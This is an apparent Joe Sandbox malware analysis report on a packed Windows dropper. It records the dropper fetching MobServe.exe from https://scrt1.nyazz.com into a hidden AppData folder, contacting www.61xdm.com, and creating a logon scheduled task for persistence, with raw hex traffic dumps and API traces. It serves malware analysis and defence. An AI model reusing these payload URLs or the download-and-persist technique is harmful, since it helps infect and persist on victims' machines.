2024-12-18 12:35:30 UTC	16384	IN	Data Raw: 24 10 0f 1f 44 00 00 e8 db 08 02 00 8b 44 24 14 e8 92 0e 02 00 48 8d 05 02 2c 4c 00 bb 04 00 00 00 e8 41 11 02 00 8b 44 24 10 e8 78 0e 02 00 48 8d 05 d6 93 4c 00 bb 14 00 00 00 e8 27 11 02 00 e8 02 09 02 00 48 8d 05 6c b1 4c 00 bb 17 00 00 00 e8 b1 5d 05 00 90 e8 0b c5 05 00 e9 46 ff ff ff cc cc cc cc cc cc 49 3b 66 10 0f 86 01 01 00 00 55 48 89 e5 48 83 ec 28 48 8b 4a 08 48 8b 11 0f 1f 80 00 00 00 00 48 39 15 79 a5 76 00 7e 16 80 b8 be 00 00 00 00 74 13 48 8d 42 01 48 89 01 48 83 c4 28 5d c3 48 83 c4 28 5d c3 48 89 44 24 38 90 90 8b 88 98 00 00 00 89 c9 48 89 4c 24 20 48 8b 90 a0 00 00 00 48 89 54 24 18 0f b6 98 be 00 00 00 88 5c 24 17 e8 0b 08 02 00 48 8d 05 fe 28 4c 00 bb 03 00 00 00 e8 7a 10 02 00 48 8b 44 24 38 e8 f0 0f 02 00 48 8d 05 fd 2f 4c 00 bb Data Ascii: $DD$H,LAD$xHL'HlL]FI;fUHH(HJHH9yv~tHBHH(]H(]HD$8HL$ HHT$\$H(LzHD$8H/L
2024-12-18 12:35:30 UTC	16384	IN	Data Raw: 00 00 0f 1f 44 00 00 e8 5b d1 01 00 48 8b 44 24 28 48 8b 4c 24 48 48 01 c8 48 8b 4c 24 20 48 01 c8 e8 81 ce 01 00 48 8d 05 65 fd 4b 00 bb 09 00 00 00 e8 30 d1 01 00 e8 0b c9 01 00 90 48 8b 44 24 78 48 8b 48 68 48 89 4c 24 18 48 8b 50 58 48 89 54 24 60 48 8b 40 60 48 89 44 24 58 e8 85 c8 01 00 48 8d 05 7e e9 4b 00 bb 03 00 00 00 e8 f4 d0 01 00 48 8b 44 24 60 e8 2a ce 01 00 48 8d 05 83 f0 4b 00 bb 06 00 00 00 e8 d9 d0 01 00 48 8b 44 24 18 e8 0f ce 01 00 48 8d 05 2b 10 4c 00 bb 0c 00 00 00 0f 1f 00 e8 bb d0 01 00 48 8b 44 24 18 48 8b 4c 24 58 48 29 c8 e8 c9 ce 01 00 48 8d 05 11 10 4c 00 bb 0c 00 00 00 e8 98 d0 01 00 f2 0f 10 44 24 38 e8 ed ca 01 00 48 8d 05 fe e7 4b 00 bb 01 00 00 00 90 e8 7b d0 01 00 e8 56 c8 01 00 e8 f1 c7 01 00 e8 2c ca 01 00 e8 47 c8 01 Data Ascii: D[HD$(HL$HHHL$ HHeK0HD$xHHhHL$HPXHT$`H@`HD$XH~KHD$`*HKHD$H+LHD$HL$XH)HLD$8HK{V,G
2024-12-18 12:35:30 UTC	16384	IN	Data Raw: 22 00 00 00 0f 1f 00 e8 fb dd 04 00 90 48 89 44 24 08 e8 50 45 05 00 48 8b 44 24 08 e9 a6 fe ff ff cc cc cc cc cc cc 4c 8d a4 24 68 ff ff ff 4d 3b 66 10 0f 86 3b 0f 00 00 55 48 89 e5 48 81 ec 10 01 00 00 49 8b 56 30 83 ba d8 00 00 00 00 75 15 83 ba c0 00 00 00 00 75 0c 4c 89 f6 48 39 32 0f 85 fc 0e 00 00 48 8b 10 84 db 75 07 48 c7 00 00 00 00 00 8b 35 2d c1 77 00 89 74 24 20 90 40 8a 7a 63 0f 1f 40 00 40 80 ff 01 0f 85 4b 0e 00 00 44 8d 46 ff 44 39 42 58 0f 85 3d 0e 00 00 88 9c 24 28 01 00 00 48 89 54 24 38 44 89 44 24 24 80 3d e0 2c 76 00 00 75 06 31 c0 31 c9 eb 21 e8 23 f7 03 00 48 8b 54 24 38 8b 74 24 20 44 8b 44 24 24 48 89 c1 48 89 d8 0f b6 9c 24 28 01 00 00 48 85 c0 74 72 48 89 8c 24 c8 00 00 00 48 8b 72 20 48 c1 e6 0d 48 89 c3 48 89 c8 48 89 f1 e8 Data Ascii: "HD$PEHD$L$hM;f;UHHIV0uuLH92HuH5-wt$ @zc@@KDFD9BX=$(HT$8DD$$=,vu11!#HT$8t$ DD$$HH$(HtrH$Hr HHHH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49836	107.148.51.200	443	3004	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:36:08 UTC	98	OUT	GET /wmob HTTP/1.1 Host: www.61xdm.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-18 12:36:09 UTC	455	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 12:36:06 GMT Content-Type: application/octet-stream Content-Length: 1669 Last-Modified: Mon, 16 Dec 2024 20:46:01 GMT Connection: close ETag: "67609189-685" Strict-Transport-Security: max-age=31536000 Alt-Svc: quic=":443"; h3=":443"; h3-29=":443"; h3-27=":443";h3-25=":443"; h3-T050=":443"; h3-Q050=":443";h3-Q049=":443";h3-Q048=":443"; h3-Q046=":443"; h3-Q043=":443" Accept-Ranges: bytes
2024-12-18 12:36:09 UTC	1669	IN	Data Raw: e8 46 06 00 00 eb 05 dd 58 74 f8 ed 95 ba d9 89 cf d3 76 2e b2 b1 4b c4 5a e1 57 6a 00 45 30 04 09 45 02 04 09 e2 f6 66 8f 8c 8c 8c 0c 38 e4 a8 c6 13 bc c4 13 aa fc 3d 66 87 d1 6e b9 e9 14 b0 44 0c 06 05 fa b0 a9 b5 ed e1 e1 91 90 12 19 3f b8 8c 62 66 66 00 cb aa 6d 88 ae 1b 66 e3 01 35 3e e6 96 dc 5d 3f 67 d0 1d 39 fc 01 99 4a 64 82 e6 7e 31 74 44 d0 42 39 ea 98 85 08 de 91 04 02 71 e2 2e 6d 20 95 75 26 c8 e6 7a 92 55 d0 d8 24 48 08 7e e3 ed ec bf e7 50 dd 99 5c d9 d9 32 bd 0b 66 19 9c 9c 0e 62 8c e4 7c 33 76 66 f2 1e 5e 24 55 a7 56 75 8a a3 d3 b8 38 2e 4b 4f 4f 2f 46 92 61 3e de 80 eb a3 ab d3 d7 d7 a7 1c 45 18 6a 8b b3 b8 b0 96 f5 f1 f1 81 b4 60 6b ab e4 aa c1 a1 a5 eb ef ef 8f 86 9e b4 e7 f2 b8 a9 ec 0c d4 9c 98 98 66 df dd f4 82 dd 8d f6 de c0 f3 f7 Data Ascii: FXtv.KZWjE0Ef8=fnD?bffmf5>]?g9Jd~1tDB9q.m u&zU$H~P\2fb\|3vf^$UVu8.KOO/Fa>Ej`kf

Target ID:	0
Start time:	07:35:25
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\T2dvU8f2xg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\T2dvU8f2xg.exe"
Imagebase:	0x400000
File size:	20'954'448 bytes
MD5 hash:	E94178C1C416647220889FFD3BDECFB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: INDICATOR_EXE_Packed_Enigma, Description: Detects executables packed with Enigma, Source: 00000000.00000002.4063276187.0000000000400000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: INDICATOR_EXE_Packed_Enigma, Description: Detects executables packed with Enigma, Source: 00000000.00000000.2198364908.0000000000400000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:36:05
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe"
Imagebase:	0x7ff7e4930000
File size:	22'998'363 bytes
MD5 hash:	074ED5F745FD9A2EF6F29FD2D9AFB07A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	07:36:06
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
Imagebase:	0x7ff7e4930000
File size:	22'998'363 bytes
MD5 hash:	074ED5F745FD9A2EF6F29FD2D9AFB07A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:36:14
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe" -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs -clipboard -nowgl -multiwindow -noreset :0
Imagebase:	0x400000
File size:	3'455'928 bytes
MD5 hash:	6F1143FB1F02C715CBEF79C271A7E4B6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	07:36:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a01488" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"
Imagebase:	0x400000
File size:	297'998 bytes
MD5 hash:	B2B22157777ED19C9F1369E2D45C1510
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:36:15
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:36:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a01488" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"
Imagebase:	0x400000
File size:	297'998 bytes
MD5 hash:	B2B22157777ED19C9F1369E2D45C1510
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:36:15
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.7%
Total number of Nodes:	963
Total number of Limit Nodes:	17

Executed Functions

Function 1004C35C Relevance: 134.2, APIs: 59, Strings: 17, Instructions: 1192
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000000,C86DC458), ref: 1004C39D
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z.MSVCP140(00000000), ref: 1004C3CD
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004C3E4
CoCreateInstance.OLE32(1033A4C4,00000000,00000001,1033A4B4,00000000), ref: 1004C406
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z.MSVCP140(00000000), ref: 1004C436
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004C44D
CoUninitialize.OLE32 ref: 1004C453

Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140(C86DC458), ref: 1004EA30
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96

Strings

PT10M, xrefs: 1004CC1B
System, xrefs: 1004CA3E
Failed to get trigger collection: , xrefs: 1004CA7F
Failed to get action collection: , xrefs: 1004CD3D
Task successfully created, xrefs: 1004D362
Failed to initialize COM library: , xrefs: 1004C3AC
Failed to query ILogonTrigger: , xrefs: 1004CBAD
Failed to connect to TaskService: , xrefs: 1004C71B
Failed to register task: , xrefs: 1004D399
Failed to get task settings: , xrefs: 1004CC5C
Failed to get root folder: , xrefs: 1004C81C
Failed to create logon trigger: , xrefs: 1004CB15
Failed to create exec action: , xrefs: 1004CDD3
Failed to create TaskService instance: , xrefs: 1004C415
Failed to create new task: , xrefs: 1004C953
Failed to get registration info: , xrefs: 1004C9D0
Failed to query IExecAction: , xrefs: 1004CE6B

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@_U?$char_traits@_W@std@@@std@@$?width@ios_base@std@@$V01@@$CreateInitializeInstanceUninitialize
String ID: Failed to connect to TaskService: $Failed to create TaskService instance: $Failed to create exec action: $Failed to create logon trigger: $Failed to create new task: $Failed to get action collection: $Failed to get registration info: $Failed to get root folder: $Failed to get task settings: $Failed to get trigger collection: $Failed to initialize COM library: $Failed to query IExecAction: $Failed to query ILogonTrigger: $Failed to register task: $PT10M$System$Task successfully created
API String ID: 874811561-1191914540
Opcode ID: e8e5983aad55864e7913d70eac0ed391bef061ec4c5b26d954b735ccef2ce441
Instruction ID: 6f086f1fc981fd54e0cad26051ffb0e5c31c8da7d84e9d9d6f6cd8cec83056ed
Opcode Fuzzy Hash: e8e5983aad55864e7913d70eac0ed391bef061ec4c5b26d954b735ccef2ce441
Instruction Fuzzy Hash: BBC2AC75900629DFCB21CF64C888BDEBBB2FF4A311F1040A5E909AB261DB716E85CF54

Function 1004BB4E Relevance: 79.2, APIs: 35, Strings: 10, Instructions: 446
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 1004BB90
GetLastError.KERNEL32 ref: 1004BBB2
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004BBCA
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004BBE1
InternetOpenW.WININET(Downloader,00000001,00000000,00000000,00000000), ref: 1004BCB3
GetLastError.KERNEL32 ref: 1004BCE0
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004BCF8
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004BD0F

Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140(C86DC458), ref: 1004EA30
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96

Strings

Failed to get AppData path., xrefs: 1004BF7F
Downloader, xrefs: 1004BCAE
CreateFileW failed: , xrefs: 1004BE30
InternetOpenUrlW failed: , xrefs: 1004BD72
MoveFileExW failed: , xrefs: 1004C25B
InternetOpenW failed: , xrefs: 1004BCC8
MyHiddenAppDataDir, xrefs: 1004BFDB
temp_, xrefs: 1004BC16
GetTempPathW failed: , xrefs: 1004BB9A
CreateDirectoryW failed: , xrefs: 1004C0DB

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@_U?$char_traits@_W@std@@@std@@$?width@ios_base@std@@$ErrorLastV01@@$InternetOpenPathTemp
String ID: CreateDirectoryW failed: $CreateFileW failed: $Downloader$Failed to get AppData path.$GetTempPathW failed: $InternetOpenUrlW failed: $InternetOpenW failed: $MoveFileExW failed: $MyHiddenAppDataDir$temp_
API String ID: 1256306638-1085803746
Opcode ID: c76dc5dd0ce5ed5bc516b69e68bc5bb0ebb1a3597b5c59b3e0be9ed8f24b3a65
Instruction ID: 7a84f514547c5a00c8b2c5f5ca9e675d5d2a241ba0fbe5cebd32cd18f51b8018
Opcode Fuzzy Hash: c76dc5dd0ce5ed5bc516b69e68bc5bb0ebb1a3597b5c59b3e0be9ed8f24b3a65
Instruction Fuzzy Hash: 1522F274805269DFDB24DB24CC99AEDBBB1FB49300F1041E9F459A2AA1DB702F94CF18

Function 10262960 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 150
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32,?,?,secur32.dll,1029488D,secur32.dll,00000004,00000000,00000000,00000002,00000002,10262B96), ref: 1026296A
GetProcAddress.KERNEL32(00000000,LoadLibraryExW), ref: 10262982
wcspbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,103301A0,?,?,?,secur32.dll,1029488D,secur32.dll,00000004,00000000,00000000,00000002,00000002,10262B96), ref: 10262994

Strings

LoadLibraryExW, xrefs: 1026297C
secur32.dll, xrefs: 10262960
kernel32, xrefs: 10262963
AddDllDirectory, xrefs: 102629C6

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AddressHandleModuleProcwcspbrk
String ID: AddDllDirectory$LoadLibraryExW$kernel32$secur32.dll
API String ID: 3596313701-1372597434
Opcode ID: 564afda5429de1a1469f276b28749332a8861e4251405b0b88a4d1e9285bdae0
Instruction ID: 93a2128ad5ba2803cca6d1166f3a6495633bbc54d6656c51d021a962b2983ae7
Opcode Fuzzy Hash: 564afda5429de1a1469f276b28749332a8861e4251405b0b88a4d1e9285bdae0
Instruction Fuzzy Hash: 7F415B3A3007069BEB145FA89CC9BAA7758EFC5297F35043DFD03D6691EF619C198260

Function 1004D409 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 75
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1004D42A
GetLastError.KERNEL32(00000000), ref: 1004D456
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004D46E
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004D485
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 1004D49F
CloseHandle.KERNEL32(000000FF,00000018,?,00000002,00000000), ref: 1004D4DB

Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140(C86DC458), ref: 1004EA30
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96

Strings

CreateToolhelp32Snapshot failed: , xrefs: 1004D43E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ?width@ios_base@std@@V01@$??6?$basic_ostream@_U?$char_traits@_W@std@@@std@@$CloseCreateErrorFirstHandleLastProcess32SnapshotToolhelp32V01@@
String ID: CreateToolhelp32Snapshot failed:
API String ID: 2199910694-2028846298
Opcode ID: 3bcef1d3d8a1aed0a9c91f12a03fac8f3c7d4a5b9b08c3024820de6b95c895a2
Instruction ID: 412a9309b427837c9790b5eadfd232c0dfd48281d4292a25e598d3a5259a7234
Opcode Fuzzy Hash: 3bcef1d3d8a1aed0a9c91f12a03fac8f3c7d4a5b9b08c3024820de6b95c895a2
Instruction Fuzzy Hash: C831E830900669DEDB20EF60DC8DBADB7B5FB89305F2041E9A409A25A1DF346E95DF18

Function 10271870 Relevance: 12.3, APIs: 8, Instructions: 262
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00002726,00000000), ref: 102718DB
WSASetLastError.WS2_32(00002726,?,?,0000000A,00000000), ref: 10271A54
select.WS2_32(?,?,?,?,00000000), ref: 10271ACC
WSAGetLastError.WS2_32(0000000A,00000000), ref: 10271ADD
__WSAFDIsSet.WS2_32(?,?), ref: 10271B19
__WSAFDIsSet.WS2_32(?,?), ref: 10271B4F
__WSAFDIsSet.WS2_32(?,?), ref: 10271B6D
Sleep.KERNEL32(FFFFFFFE), ref: 10271BC6

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ErrorLast$Sleepselect
String ID:
API String ID: 2806104629-0
Opcode ID: ec3a4ecf8939e05953b8b7883169c6596250a78d39d237d9e762a9aa0ec9abdf
Instruction ID: 1523f08b6f36d0f3b47f68e06842053c42cc6f603845c6bfb75aff000dc65255
Opcode Fuzzy Hash: ec3a4ecf8939e05953b8b7883169c6596250a78d39d237d9e762a9aa0ec9abdf
Instruction Fuzzy Hash: 6391D531A05342CBD765CF2CC89535AB2EAEFA8354F318D2DE9D9C2190E734D961C742

Function 1022C220 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 318COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(10347840,00000000,0000005C,?,101D003F,00000006,00000000,1004B7F4,?,?), ref: 1022C3A3

Strings

gfff, xrefs: 1022C5FC

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memset
String ID: gfff
API String ID: 2221118986-1553575800
Opcode ID: 9aabc069a45f74c523189279f1dd250af6a6fdd9d500a8b09bfaeb780fdc2ea2
Instruction ID: 9a83e7e8ca65c5151096677f8631997189e94bbc1759758a1846f6ef50ba4185
Opcode Fuzzy Hash: 9aabc069a45f74c523189279f1dd250af6a6fdd9d500a8b09bfaeb780fdc2ea2
Instruction Fuzzy Hash: E3C10670D012269FE3119FE5AC8575A36B8FBC6345F708128E80DDF2A0EF74A868CB41

Function 1004B352 Relevance: 3.0, APIs: 2, Instructions: 41encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,1004B7A4), ref: 1004B388
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,102A66D8,1004B7A4,00000000,?,?), ref: 1004B3A7

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CryptDataUnprotect__acrt_iob_func
String ID:
API String ID: 3901092410-0
Opcode ID: 51fa472cac916c0854d37eb01052b9eba873afec71d624af1abfca3a3e7cca3c
Instruction ID: c4529914a81871afcadab5a0feb1e81e598f1230f6ca3d58a4fb717514ec3a0c
Opcode Fuzzy Hash: 51fa472cac916c0854d37eb01052b9eba873afec71d624af1abfca3a3e7cca3c
Instruction Fuzzy Hash: CAF0FF75904208EFDB04DFA8C889ADE7BF8EB08350F508459F815DB340DB30EA40CB54

Function 1004DADF Relevance: 88.3, APIs: 19, Strings: 31, Instructions: 817
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1004BACD: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 1004BAF6

??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,MobServe.exe,?,https://scrt1.nyazz.com/MobServe.exe,C86DC458), ref: 1004DBEF

Part of subcall function 1004BB4E: GetTempPathW.KERNEL32(00000104,?), ref: 1004BB90
Part of subcall function 1004BB4E: GetLastError.KERNEL32 ref: 1004BBB2
Part of subcall function 1004BB4E: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004BBCA
Part of subcall function 1004BB4E: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004BBE1

Part of subcall function 1004BB4E: InternetOpenW.WININET(Downloader,00000001,00000000,00000000,00000000), ref: 1004BCB3
Part of subcall function 1004BB4E: GetLastError.KERNEL32 ref: 1004BCE0
